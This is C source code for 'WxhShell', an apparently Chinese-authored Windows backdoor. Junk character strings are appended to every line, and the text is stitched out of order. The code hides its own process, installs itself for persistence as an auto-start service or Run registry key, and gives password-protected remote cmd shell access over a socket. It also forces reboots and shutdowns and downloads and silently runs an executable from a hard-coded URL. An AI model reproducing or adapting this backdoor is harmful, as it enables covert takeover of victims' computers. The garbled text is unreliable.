    if(Boot(SHUTDOWN)) /<T3^/ '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s&F& *5W  
    else { ';KWHk8C  
    closesocket(wsh); 84A:Rd'k3)  
    ExitThread(0); 't3&,:Y  
    } I T?~`vi  
    break; );=0cnr3  
    } s |!lw  
  // 获取shell 1Ms_2  
  case 's': { 8M8Odz\3 q  
    CmdShell(wsh); *IWWD\U  
    closesocket(wsh); 1w'W)x  
    ExitThread(0); 6\vaR#  
    break; W=\45BJ  
  } T$*#q('1"}  
  // 退出 0t2n7Y?N  
  case 'x': { ^50\c$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AS/z1M_U  
    CloseIt(wsh); e>g>)!F  
    break; !v<` ^`x9I  
    } - `{T?  
  // 离开 }j;G`mV2  
  case 'q': { aI_[h v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V-k x=M"k  
    closesocket(wsh); x,LY fy"0  
    WSACleanup(); !4+ FN)  
    exit(1); n.OsmCRN;  
    break; Hb3t|<z  
        } __|Y59J%  
  } bkFO4OZd  
  } N^f_hL|:9  
r-$VPW  
  // 提示信息 /_1q)`NYy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *> E_lWW.  
} {h0T_8L/  
  } d9q`IZqee  
!nL>Ly  
  return; KpC!C9  
} Of m0{c=  
aY0{vX  
// shell模块句柄 6o&ZS @  
int CmdShell(SOCKET sock) U3~rtc*  
{ VWrb`p@  
STARTUPINFO si; mv>-XJ+  
ZeroMemory(&si,sizeof(si)); qW`DCZu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $ D.*r*c6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E?S  
PROCESS_INFORMATION ProcessInfo; ^j7>Ul,  
char cmdline[]="cmd"; *JF7 B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Gh J)WA<  
  return 0; pU1miA '  
} ;e6L@)dp9  
m ;yIFO  
// 自身启动模式 3v ~[kVhoG  
int StartFromService(void) Q'rgh+6  
{ lP *p7Y '  
typedef struct Vp&"[rC_z  
{ M}]4tAyT  
  DWORD ExitStatus; N"s"^}M\  
  DWORD PebBaseAddress; mC} b>\  
  DWORD AffinityMask; wizLA0W  
  DWORD BasePriority; eI98J"h%?  
  ULONG UniqueProcessId; @*BVS'\  
  ULONG InheritedFromUniqueProcessId; z||FmL{  
}   PROCESS_BASIC_INFORMATION; lC@wCgc  
`*3;sq%`  
PROCNTQSIP NtQueryInformationProcess; s*R UYx  
XbIxGL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `6<Qb=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <Vl`EfA(  
m-]F]c=)w<  
  HANDLE             hProcess; p ^ ONJL  
  PROCESS_BASIC_INFORMATION pbi; 5E^P2Mlc  
(dwb{+HW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RQU-]qQ8BM  
  if(NULL == hInst ) return 0; !uP8powO  
pZKK7   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !m8T< LtMl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l ;S_J^S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )j!%`g  
Cz6bD$5  
  if (!NtQueryInformationProcess) return 0; +/ ?oyC+Z  
(-xVW#39  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a]!u go}  
  if(!hProcess) return 0; .|@2Uf  
duc\/S'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q);oO\<  
Q5]rc`} 5  
  CloseHandle(hProcess); m[ER~]L/C  
BmaY&?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hPuF:iiQ4  
if(hProcess==NULL) return 0; a:KL{e[   
x>+sqFd\  
HMODULE hMod; 2M)E1q|a  
char procName[255]; `yh][gqVE~  
unsigned long cbNeeded; q8MyEoc:n  
\+Y5b}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^UBzX;|p  
1n[wk'}qf4  
  CloseHandle(hProcess); a:s$[+'Y  
@ 6*eS+t\  
if(strstr(procName,"services")) return 1; // 以服务启动 3zv0Nwb,  
*;T'=u_lR  
  return 0; // 注册表启动 &5*t*tI  
} B<ZCuVWH:  
D;z!C ys  
// 主模块 9{0%M  
int StartWxhshell(LPSTR lpCmdLine) c3WF!~1r  
{ i!eY"|o  
  SOCKET wsl; &%tW  
BOOL val=TRUE; WBR# Ux  
  int port=0; "n{JH9sA:  
  struct sockaddr_in door; l!": s:/'  
bl{W{?QI  
  if(wscfg.ws_autoins) Install(); }!"Cvu  
(dh9aR_a  
port=atoi(lpCmdLine); # )s +I2  
iLNO}EUL  
if(port<=0) port=wscfg.ws_port; 8! /ue.T  
Zzmo7kFx3  
  WSADATA data; 7!;zkou  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V P(JV  
Jl|^^?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G?!8T91;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *+(eH#_2/  
  door.sin_family = AF_INET; .g94|P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nI] zRduC  
  door.sin_port = htons(port); S5r.so  
[E/. r{S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eN`G2eE  
closesocket(wsl); aSI%!Vg.  
return 1; i=&]%T6Qk  
} )1 QOA  
9A87vs4[  
  if(listen(wsl,2) == INVALID_SOCKET) { aGAr24]y  
closesocket(wsl); r.c:QY$  
return 1; ;p87^:  
} x6ayFq=  
  Wxhshell(wsl); k1SD{BL  
  WSACleanup(); ?)Je%H  
7>F[7_  
return 0; At !@Rc  
) )t]5Ys%;  
} %'VzN3Q5V  
J&B5Ll  
// 以NT服务方式启动 &Lbwx&!0b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?!.J 0q  
{ bdEI vf7  
DWORD   status = 0; lqa~ZF*  
  DWORD   specificError = 0xfffffff; !pHI`FeAV  
"sWsK %  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  x$FcF8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G-,0mo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OLV3.~T  
  serviceStatus.dwWin32ExitCode     = 0; >CwI(vXn  
  serviceStatus.dwServiceSpecificExitCode = 0; Eo6qC?5<  
  serviceStatus.dwCheckPoint       = 0; . g-  HB'  
  serviceStatus.dwWaitHint       = 0; }}bMq.Q'  
= J]M#6N0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9W-1P}e,  
  if (hServiceStatusHandle==0) return; 8"p rWAN  
\GKR(~f  
status = GetLastError(); 1H-~+lf  
  if (status!=NO_ERROR) N#@v`S  
{ '8FHn~F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .v-2A);I  
    serviceStatus.dwCheckPoint       = 0; r]]:/pw?t  
    serviceStatus.dwWaitHint       = 0; BK wo2=m~  
    serviceStatus.dwWin32ExitCode     = status; s'OK])>`  
    serviceStatus.dwServiceSpecificExitCode = specificError; EVE"F'Ww,_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (*,R21<%  
    return; e_g&L)  
  } ?{xD{f$  
|?hsMN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8k+k\V{  
  serviceStatus.dwCheckPoint       = 0; `b%^_@Fb  
  serviceStatus.dwWaitHint       = 0; D *IeG>%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L+eK)Q  
} @ZrNV*&<  
Hs{x Z:  
// 处理NT服务事件,比如:启动、停止 tu/4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j?g#8L;W\w  
{ 2fNNdxdbT  
switch(fdwControl) HrMbp  
{ EQX<<x"  
case SERVICE_CONTROL_STOP: "-j96 KD  
  serviceStatus.dwWin32ExitCode = 0; x(p/9$.#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R<%{I)  
  serviceStatus.dwCheckPoint   = 0; ^:,wk7  
  serviceStatus.dwWaitHint     = 0; ooP{Q r  
  { o 9(x\g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RD;A  
  } O^ 5C  
  return; ;jO+<~YP!  
case SERVICE_CONTROL_PAUSE: |;^$IZSsz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lR mVeq:  
  break; [nlq(DGJhp  
case SERVICE_CONTROL_CONTINUE: `:jF%3ks+0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e)}=T0 s  
  break; TtQd#mSI\  
case SERVICE_CONTROL_INTERROGATE: 7!)VO D8Z  
  break; PYzTKjw  
}; cr?ZXu_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); edZBQmx+#  
} 9[lk=1.qN  
pbIVj3-lY  
// 标准应用程序主函数 &>R:oYN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O1+yOef"k  
{ 3(gOF&Uf9  
ed`7GZB  
// 获取操作系统版本 XQmg^x[,A  
OsIsNt=GetOsVer(); .[s6PzQy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 52^,qP'6  
J HV  
  // 从命令行安装 Q'?VLv |@  
  if(strpbrk(lpCmdLine,"iI")) Install(); $ f||!g  
gvL*]U7  
  // 下载执行文件 S,f#g?V  
if(wscfg.ws_downexe) { woF {O)~X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JXR]G  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1/6}E]-F  
} DF-.|-^9I  
sP~xe(  
if(!OsIsNt) { J,s:CBCGL  
// 如果时win9x,隐藏进程并且设置为注册表启动 FMzG6nrdBN  
HideProc(); " BLJh)i  
StartWxhshell(lpCmdLine); NbCIL8f]  
} P m&^rC;  
else fZ^ad1o  
  if(StartFromService()) ~y whl'"k  
  // 以服务方式启动 ] ;HCt=I~  
  StartServiceCtrlDispatcher(DispatchTable); J4 U]_|  
else Hw6 2'%  
  // 普通方式启动 k![H;}W  
  StartWxhshell(lpCmdLine); 2 MW7nIEs  
Z|)1ftcC  
return 0; {~G~=sC$  
} Ll VbY=EX7  
?crK613 t  
 ':DL  
F(^#_tXP  
=========================================== 9E4^hkD&  
2Uu!_n}tNF  
KuL+~  
"|R75m,Id  
ic l]H  
=EU;%f  
" zZey  
aSgKh  
#include <stdio.h> vj]h[=:  
#include <string.h> NgF"1E  
#include <windows.h> bQ&%6'ck  
#include <winsock2.h> pd.unEWwF  
#include <winsvc.h> BxZ7Bk  
#include <urlmon.h> kpNp}b8']  
tZFpxyF  
#pragma comment (lib, "Ws2_32.lib") ->7zVAX  
#pragma comment (lib, "urlmon.lib") 0F%?< : &  
yL -}E  
#define MAX_USER   100 // 最大客户端连接数 O`aNNy  
#define BUF_SOCK   200 // sock buffer xDsKb_  
#define KEY_BUFF   255 // 输入 buffer nwqA\  
4]-7S l,  
#define REBOOT     0   // 重启 02,.UqCz  
#define SHUTDOWN   1   // 关机 ;vbM C74J#  
SMfa(+VI  
#define DEF_PORT   5000 // 监听端口 [/l&:)5W>  
iOL/u)   
#define REG_LEN     16   // 注册表键长度 ,) aUp4*  
#define SVC_LEN     80   // NT服务名长度 koE]\B2A6  
MD3iWgM  
// 从dll定义API ^&$86-PB/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tks"GlE*D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '$J M2 u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -lAY*2Jg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hTcU %Nc  
7r.~L  
// wxhshell配置信息 t~44ub6GN`  
struct WSCFG { L]&y[/\E1  
  int ws_port;         // 监听端口 4gUx#_AaG  
  char ws_passstr[REG_LEN]; // 口令 "/2kf)l{4  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2iO{*cB  
  char ws_regname[REG_LEN]; // 注册表键名 hb %F"Q  
  char ws_svcname[REG_LEN]; // 服务名 @O-\s q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &] xtx>qg<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )r)ZmS5O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8#o2qQ2+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \w(0k^<7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ; qr?[{G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 */K]sQZa  
og&h$<uOZt  
}; LnsYtkb r  
N.ZuSkRM  
// default Wxhshell configuration 2"%f:?xV{  
struct WSCFG wscfg={DEF_PORT, ` K0PLxSv  
    "xuhuanlingzhe", ]&`=p{Z  
    1, ]mgpd}Y  
    "Wxhshell", ASr@5uFR  
    "Wxhshell", .b^!f<j  
            "WxhShell Service", >.G#\w  
    "Wrsky Windows CmdShell Service", 7u5H o`  
    "Please Input Your Password: ", 3f~znO  
  1, 2iOYC0`!  
  "http://www.wrsky.com/wxhshell.exe", ]D=fvvST  
  "Wxhshell.exe" tDfHO1pS  
    }; 475g-t2"@  
XD_!5+\H1  
// 消息定义模块 T=@Ygjk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W )Ps2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i&DUlmt)f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J+N -+,,  
char *msg_ws_ext="\n\rExit."; N|ZGc{?  
char *msg_ws_end="\n\rQuit."; ?8U]UM6Tu4  
char *msg_ws_boot="\n\rReboot..."; eV }H  
char *msg_ws_poff="\n\rShutdown..."; 6\-u:dvGI?  
char *msg_ws_down="\n\rSave to "; Dk8@x8  
Kxz|0l  
char *msg_ws_err="\n\rErr!"; 4mpcI  
char *msg_ws_ok="\n\rOK!"; G|"m-.9F  
UISsiiG(  
char ExeFile[MAX_PATH]; #uCfXJ-  
int nUser = 0; D";clP05K  
HANDLE handles[MAX_USER]; |L:X$oM  
int OsIsNt; .WuSW[g  
OK47Q{.gh  
SERVICE_STATUS       serviceStatus; /q'-.-bo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (NJ.\m  
wwJs_f\  
// 函数声明 GMoz$c6n_  
int Install(void); #CB Kt,  
int Uninstall(void); jc#gn& 4C  
int DownloadFile(char *sURL, SOCKET wsh); <E^;RG  
int Boot(int flag); wx!2/I>  
void HideProc(void); 9- 24c  
int GetOsVer(void); 3a=\$x@  
int Wxhshell(SOCKET wsl); LX=v _}l J  
void TalkWithClient(void *cs); o=xMaA  
int CmdShell(SOCKET sock); 0<fQjXn  
int StartFromService(void); BlcsDB =ka  
int StartWxhshell(LPSTR lpCmdLine); YIb7y1\UM  
kmtkh "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z5EII[=$o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^gR~~t;@  
;lhW6;oI'  
// 数据结构和表定义 P6=5:-Hh  
SERVICE_TABLE_ENTRY DispatchTable[] = aH8]$e8_,\  
{ ;W FiMM\  
{wscfg.ws_svcname, NTServiceMain}, ez5>V7Y  
{NULL, NULL} HW#@e kh  
}; L 7LUy$M-<  
:C,}DyZy  
// 自我安装 iWW >]3Q  
int Install(void) 1&9w]\Ae7l  
{ &0J8I Cd=  
  char svExeFile[MAX_PATH]; 3v`@**  
  HKEY key; E]r<t#  
  strcpy(svExeFile,ExeFile); KDA2 H>  
s vS)7]{cU  
// 如果是win9x系统,修改注册表设为自启动 $'<$:;4b3  
if(!OsIsNt) { yw89*:A6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *m`x/_y+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M 8(w+h{  
  RegCloseKey(key); l k /Ke  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |_ U!i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W%o! m,zFM  
  RegCloseKey(key); A0v@L6m-O  
  return 0; *Gj`1# Z$  
    } Ag8lI+ h  
  } :/t_5QN  
} 8|5+\1!#/)  
else { :2:%  
0(&Rm R  
// 如果是NT以上系统,安装为系统服务 v!3Oq.ot  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @uG/2'B(  
if (schSCManager!=0) c%+uji6  
{ 78?cCj{e  
  SC_HANDLE schService = CreateService j8rxhToC  
  ( Vh]=sd<F  
  schSCManager, X gtn}7N.  
  wscfg.ws_svcname, =5YbK1Q^  
  wscfg.ws_svcdisp, gi)C5J4  
  SERVICE_ALL_ACCESS, :7(d 6gEL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,6"[vb#*3  
  SERVICE_AUTO_START, $Q,]2/o6n  
  SERVICE_ERROR_NORMAL, %e|UA-(  
  svExeFile, {]N7kY.W  
  NULL, +OtD@lD`!  
  NULL, :&2% x  
  NULL, 1Oak8 \G  
  NULL, R"\(a  
  NULL dX[ Xe  
  ); wjT#D|soI  
  if (schService!=0) r/HG{XH`  
  { 'AmA3x)9u  
  CloseServiceHandle(schService); Vf=,@7  
  CloseServiceHandle(schSCManager); l\d[S]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E33x)CP  
  strcat(svExeFile,wscfg.ws_svcname); X?/32~\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _.%g'=14f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =2vZqGO30  
  RegCloseKey(key); {BJH}vV1)  
  return 0; #Pg?T%('`  
    } |It{L0=U  
  } !d[]Qt%mA  
  CloseServiceHandle(schSCManager); ,JPDPI/a  
} HW"5MZ8E  
} Y ._O m}H  
-B-HZ_  
return 1; .f!:@fX>=  
} 47A[-&y*X  
j)juvat  
// 自我卸载 fWF!%|L  
int Uninstall(void) %?8.UW\m  
{ fWDTP|DV  
  HKEY key; gT,iH.  
(IA:4E}  
if(!OsIsNt) { -OKXfN]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U<'z, Px6  
  RegDeleteValue(key,wscfg.ws_regname); IA}.{zY~|  
  RegCloseKey(key); Kf)$/W4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s= z$;1C  
  RegDeleteValue(key,wscfg.ws_regname); u~mpZ"9$ 3  
  RegCloseKey(key); %O7?:#_  
  return 0; ?}u][akM  
  } 'gsO}xj  
} {e0aH `me  
} !thFayq  
else { 'kg~#cf/+  
U2\k7I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H;Gs0Qi;  
if (schSCManager!=0)  Lu[Hz8  
{ v^[!NygShs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WW7E*kc  
  if (schService!=0) oB '5':  
  { "39mhX2  
  if(DeleteService(schService)!=0) { ~uB@oKMru  
  CloseServiceHandle(schService); \rS-}DG  
  CloseServiceHandle(schSCManager); m+ #G*  
  return 0; aFh'KPhe  
  } %0f*OC  
  CloseServiceHandle(schService); m}6>F0Kv  
  } KQ(S\  
  CloseServiceHandle(schSCManager); '}F9f?  
} m]{/5L  
} @ W q8AFo  
UyF;sw  
return 1; p-7?S^!l  
} x'%vL",%  
X6?Gxf,  
// 从指定url下载文件 yDpv+6(a  
int DownloadFile(char *sURL, SOCKET wsh) t6)R 37  
{ |;U3pq)  
  HRESULT hr; eV0eMDY5  
char seps[]= "/"; ?tT89m3_E  
char *token; xz7CnW1  
char *file; F^=y+}]=  
char myURL[MAX_PATH]; bPl'?3  
char myFILE[MAX_PATH]; /u"Iq8QA  
Ie8K [ >  
strcpy(myURL,sURL); E!,jTaZz  
  token=strtok(myURL,seps); x"Ij+~i{l  
  while(token!=NULL) SF[Z]|0gs  
  { 9G6auk.m.O  
    file=token; gDH|I;!  
  token=strtok(NULL,seps); E <r;J  
  } :`4LV  
5yroi@KT   
GetCurrentDirectory(MAX_PATH,myFILE); $u)#-X;x  
strcat(myFILE, "\\"); |Y2n6gkH[  
strcat(myFILE, file); bW3Ah?0N  
  send(wsh,myFILE,strlen(myFILE),0); q1|@v#kH6  
send(wsh,"...",3,0); w7<4D,hk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GzT?I 7|M  
  if(hr==S_OK) 160BgFM  
return 0; o+S?j*mv@  
else F5w=tK  
return 1; =knBwjeD  
D2\EpL/  
} H Ds8M  
Yg1HvSw\  
// 系统电源模块 Z/;8eb*B7  
int Boot(int flag) QxBH{TG  
{ ya;(D 8x)  
  HANDLE hToken; FGpV ]p  
  TOKEN_PRIVILEGES tkp; J]Q-#g'Z  
h?GE-F  
  if(OsIsNt) { 2k`Q+[?{q>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j?! /#'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8,B#W#*{  
    tkp.PrivilegeCount = 1; G/KTF2wl7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~BXy)IB6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?.nD!S@  
if(flag==REBOOT) { _Vr}ipx-k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H\|H]:CE  
  return 0; Jb8%A@Z+  
} Q:Y`^jP   
else { "m}N hoD4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) op_ 1J;RF  
  return 0; 2W63/kRbU  
} Ye[Fu/0  
  } SQJ4}w>i  
  else { #*}cc  
if(flag==REBOOT) { R ggZ'.\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :~,V+2e  
  return 0; !Jaj2mS.N  
} (~:ip)v  
else { +n|@'= ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tYUo;V  
  return 0; . B6mvb\  
} 2y9$ k\<xV  
} 3C#Sr6  
e&9v`8}   
return 1; Js9 EsN%  
} _wZr`E)  
Wtflw>-  
// win9x进程隐藏模块 -TyBb]  
void HideProc(void) {ka={7  
{ YXGxE&!  
1(Lq9hs`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /8lmNA  
  if ( hKernel != NULL ) + a'nP=e&  
  { $,1KD3;+]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @8SA^u0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gZ  {  
    FreeLibrary(hKernel); p4Xhs@.k  
  } kyD*b3MN  
NcIr; }  
return; nTz( {q  
} ZgxpHo  
HB}iT1.`  
// 获取操作系统版本 iUf?MDE  
int GetOsVer(void) 2K{)8 ;^  
{ wUzMB ]w  
  OSVERSIONINFO winfo; .gw6W0\F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8oP"?ew#  
  GetVersionEx(&winfo); x\5\KGw16  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %lGg}9k'  
  return 1; TnPx.mwK\  
  else 4'L.I%#tZ  
  return 0; F\+!\b*lP  
} 4?aNJyV%&  
+`.,6TNVlY  
// 客户端句柄模块 pA@BW:#  
int Wxhshell(SOCKET wsl) va;fT+k=  
{ 12bztlv  
  SOCKET wsh; HgOrrewj  
  struct sockaddr_in client; N<aMUVm  
  DWORD myID; FC8#XZp  
Odbm"Y  
  while(nUser<MAX_USER) zUJPINDb  
{ D(">bR)1  
  int nSize=sizeof(client); Jrx]/CM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^:o^g'Yab  
  if(wsh==INVALID_SOCKET) return 1; gCW {$d1=  
ujbJ&p   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZJ |&t  
if(handles[nUser]==0) <{k8 K6  
  closesocket(wsh); Xm^/t#  
else oBWa\N  
  nUser++; hKN/&P^  
  } IjRUL/\=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VOrBNu  
}9Awv#+  
  return 0; j$khGR!  
} f,8PPJ:,  
e|.a%,Dcy  
// 关闭 socket  *l-F  
void CloseIt(SOCKET wsh) ++d[YhO  
{ n`|CD Kb  
closesocket(wsh); Kl*/{&,P  
nUser--; WVh]<?GWXk  
ExitThread(0); S| l%JM^  
} :n$?wp  
$Q56~AP  
// 客户端请求句柄 %Yny/O\e%  
void TalkWithClient(void *cs) lAPPn g`  
{ =b#,OXQ  
ZG_iF#  
  SOCKET wsh=(SOCKET)cs; o1rH@D6/-  
  char pwd[SVC_LEN]; :74G5U8%  
  char cmd[KEY_BUFF]; 5m rkw  
char chr[1]; AF"XsEt.e  
int i,j; W^1)70<y  
8,?*eYNjb  
  while (nUser < MAX_USER) { QQX7p!~E  
v'u}%FC  
if(wscfg.ws_passstr) { XM?C7/^k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3qrjb]E%}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a*Ng+~5)6  
  //ZeroMemory(pwd,KEY_BUFF); Z`{GjV3%wH  
      i=0; *!yY7 ~#  
  while(i<SVC_LEN) { ^a;412  
:X#'E Lo|  
  // 设置超时 !R1OSVFp  
  fd_set FdRead; ddvtBAX  
  struct timeval TimeOut; 9lSs;zm{Q  
  FD_ZERO(&FdRead); Yj>ezFo  
  FD_SET(wsh,&FdRead); 8\e8$y3  
  TimeOut.tv_sec=8; (^LR9 CW  
  TimeOut.tv_usec=0; RJA#cv~f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WlnS.P\+E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )W3kBDD  
"l 1z@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =-n7/  
  pwd=chr[0]; 8POLp9>X  
  if(chr[0]==0xd || chr[0]==0xa) { lxOUV?m^N  
  pwd=0; p!2t/XIM  
  break; tcj3x<  
  } hg}R(.1K=  
  i++; Z}$1~uyw  
    } -v?)E S  
{@T<eb$d  
  // 如果是非法用户,关闭 socket >D*%1LH~V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,HfdiGs}j  
} R ;3!?`  
-5Ln3\ O@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !i?aRI/6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,L^ag&!4  
&8QkGUbS<  
while(1) { rZG6}<Hx  
vK8!V7o~h%  
  ZeroMemory(cmd,KEY_BUFF); <5sP%Fs)  
EJJW  
      // 自动支持客户端 telnet标准   [fr!J?/@  
  j=0; ny[\yj4F  
  while(j<KEY_BUFF) { Y EhPAQNj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ak]H|D" 9  
  cmd[j]=chr[0]; >Gxh=**F  
  if(chr[0]==0xa || chr[0]==0xd) { %vjfAdC  
  cmd[j]=0; A7sva@}W  
  break; UpCkB}OhR1  
  } F}=O Mo:.  
  j++; ;v> +D {s  
    } K&/!3vc  
;q%V)4  
  // 下载文件 PgwNEwG  
  if(strstr(cmd,"http://")) { Z^ }4bR]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QF9$SCmv  
  if(DownloadFile(cmd,wsh)) (j884bu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qe1WT T]:I  
  else s f<NC>-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Hh= Sp^  
  } .vhEm6wJUM  
  else { 2+qU9[kd|  
oq9gG)F  
